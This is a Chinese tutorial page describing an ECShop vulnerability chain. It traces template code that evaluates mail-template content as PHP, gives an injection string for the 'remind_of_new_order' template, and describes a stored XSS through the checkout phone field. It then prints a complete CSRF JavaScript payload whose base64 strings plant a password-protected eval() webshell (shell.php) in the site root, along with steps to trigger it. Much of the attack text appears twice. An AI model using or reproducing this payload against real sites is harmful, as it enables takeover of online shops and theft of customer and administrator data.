您现在的位置是:首页 > cms教程 > Ecshop商城教程Ecshop商城教程
ecshop后台0day漏洞原理和利用方法
欧谱班2025-02-10Ecshop商城教程已有人查阅
导读可以看到如果$filename以”str:”开头那么就调用_eval()函数执行”str:”后面的代码,不过在执行之前系统调用fetch_str函数进行字符查找和替换。
0x0 后台getshell
在 includes/cls_template.php fetch函数
现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php
在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为”{$phpinfo()’];phpinfo();/*}”,然后在调试中可以看到代码被替换成了”<?php echo $this->_var[‘phpinfo()’];phpinfo();/*’]; ?>”
代码成功执行。
0x1 前台xss
前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。
注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。
0x2 xss+后台getshell
由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。
以下是实现getshell的js:
Var Shelldata=’subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E’; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject(‘Microsoft.XMLHTTP’)); xml.open(“POST”,’/ecshop/upload/admin/mail_template.php?act=save_template’,false); xml.setRequestHeader(‘Content-Type’, ‘application/x- -form-urlencoded’); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){}
上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用
之后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207.
管理员访问订单前的找回密码模板:
管理员查看订单
查看之后的邮件模板
之后用户前台找回密码,根目录下生成一句话shell.php
在 includes/cls_template.php fetch函数
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = ”)
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
//若$filename以str:开头则执行下面的语句 .yunsec.net
if (strncmp($filename,’str:’, 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
… … … …
可以看到如果$filename以”str:”开头那么就调用_eval()函数执行”str:”后面的代码,不过在执行之前系统调用fetch_str函数进行字符查找和替换。
_eval():
function _eval($content)
{
ob_start();
eval(‘?’ . ‘>’ . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}
调用eval()就执行$content了,看fetch_str()
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return string
*/
function fetch_str($source)
{
if (!defined(‘ECS_ADMIN’))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source = preg_replace(“/<\?[^><]+\?>|<\%[^><]+\%>|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*<\/script\s*>/iU”, “”, $source);
return preg_replace(“/{([^\}\{\n]*)}/e”, “\$this->select(‘\\1’);”, $source);
}
过滤了php语言的标记。现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php
/*------------------ */
//- 提交订单
/*------------------ */
elseif ($_REQUEST[‘act’] == ‘submit_order’)
{
include_once(ROOT_PATH . ‘includes/lib_order.php’);
… … … … … … … … … … … … …
… … … … … … … … … … … … …
/* 给商家发邮件 */
if ($_CFG[‘service_email’] != ”)
{
$tpl = get_mail_template(‘remind_of_new_order’);
… … … … … … … … … … … …
… … … … … … … … … … … …
$content = $smarty->fetch(‘str:’ . $tpl[‘template_content’]);
… … … … … … … … … … … …
}
在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为”{$phpinfo()’];phpinfo();/*}”,然后在调试中可以看到代码被替换成了”<?php echo $this->_var[‘phpinfo()’];phpinfo();/*’]; ?>”
代码成功执行。
0x1 前台xss
前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。
注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。
0x2 xss+后台getshell
由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。
以下是实现getshell的js:
Var Shelldata=’subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E’; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject(‘Microsoft.XMLHTTP’)); xml.open(“POST”,’/ecshop/upload/admin/mail_template.php?act=save_template’,false); xml.setRequestHeader(‘Content-Type’, ‘application/x- -form-urlencoded’); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){}
上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用
之后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207.
管理员访问订单前的找回密码模板:
管理员查看订单
查看之后的邮件模板
之后用户前台找回密码,根目录下生成一句话shell.php
本文标签:
很赞哦! ()
相关教程
图文教程
ecshop订单页面显示商品缩略图的实现方法
Ecshop购物流程 checkout(结算)步骤,不显示商品缩略图;购物是否显示商品缩略图,后台商店设置可以控制。稍稍改造一下,可以让checkout(结算)步骤,显示商品缩略图。
ecshop购物车结算提交订单页面显示商品缩略图的方法
ECSHOP系统,在购物车页面,是可以显示商品缩略图的,但是ecshop在订单提交的页面却不支持显示缩略图,好在ECSHOP是开源的,通过以下方法可以实现:
ecshop中的SESSION机制说明
ecshop中的session机制不是PHP自带的,而是ecshop自定义的一套机制,这两天利用时间学习了一下,以下是学习笔记。 1.session的初始化是在 includes下的 init.php 文件中,具体代码
ecshop注册VIP推荐送现金的方法
ecshop中的促销售功能还不是很完善,随着电子商务系统的发展和进步,越来越多的促销需求需要ecshop做的更灵活,这就造成了很大必要的对ecshop促销系统进行处理和重新开发
相关源码
-
(自适应)变压器电子元器件电器配件pbootcms网站模板源码为电子元器件企业打造的响应式网站模板,基于PbootCMS内核开发,助力企业快速构建专业级线上展示平台。支持页面独立设置标题、关键词和描述,内置SEO友好结构。PHP程序确保运行安全稳定,有助于提升搜索引擎收录效果。查看源码 -
(自适应)绿色农业机械设备农场网站源码下载为现代农业机械领域打造的响应式网站模板,采用PbootCMS内核开发,数据实时同步后台管理。通过简洁大气的视觉设计,有效展示农机产品技术参数与应用场景,帮助客户快速建立专业数字化形象。查看源码 -
(自适应)绿色园林建筑花卉园艺艺术模板免费下载为景观设计及园艺企业打造的响应式网站框架,基于PbootCMS系统开发,帮助传统园林行业建立现代化数字展示平台。采用标准DIV+CSS前端架构,代码精简无冗余。查看源码 -
帝国cms7.5手游评测资讯礼包合集游戏专区下载网站模板本模板基于帝国CMS系统开发,为手游门户网站设计。支持PC端与移动端同步生成HTML静态页面,内置多端同步生成功能。模板架构针对手业特点优化,满足APP下载、游戏资讯、攻略等内容发布需求。查看源码 -
(PC+WAP)茶叶茶艺茶道茶文化pbootcms模网站源码下载本模板基于PbootCMS系统开发,为茶叶企业、茶艺培训机构设计,特别适合展示茶产品、茶道文化等内容。采用响应式技术,确保在不同设备上都能呈现优雅的茶文化氛围。查看源码 -
(pc+wap)pbootcms网站模板蓝色小程序网站开发公司基于PbootCMS内核开发的营销型门户模板,为小程序开发公司、电商软件企业打造。采用HTML5自适应架构,实现PC与手机端数据实时同步展示查看源码
| 分享笔记 (共有 篇笔记) |
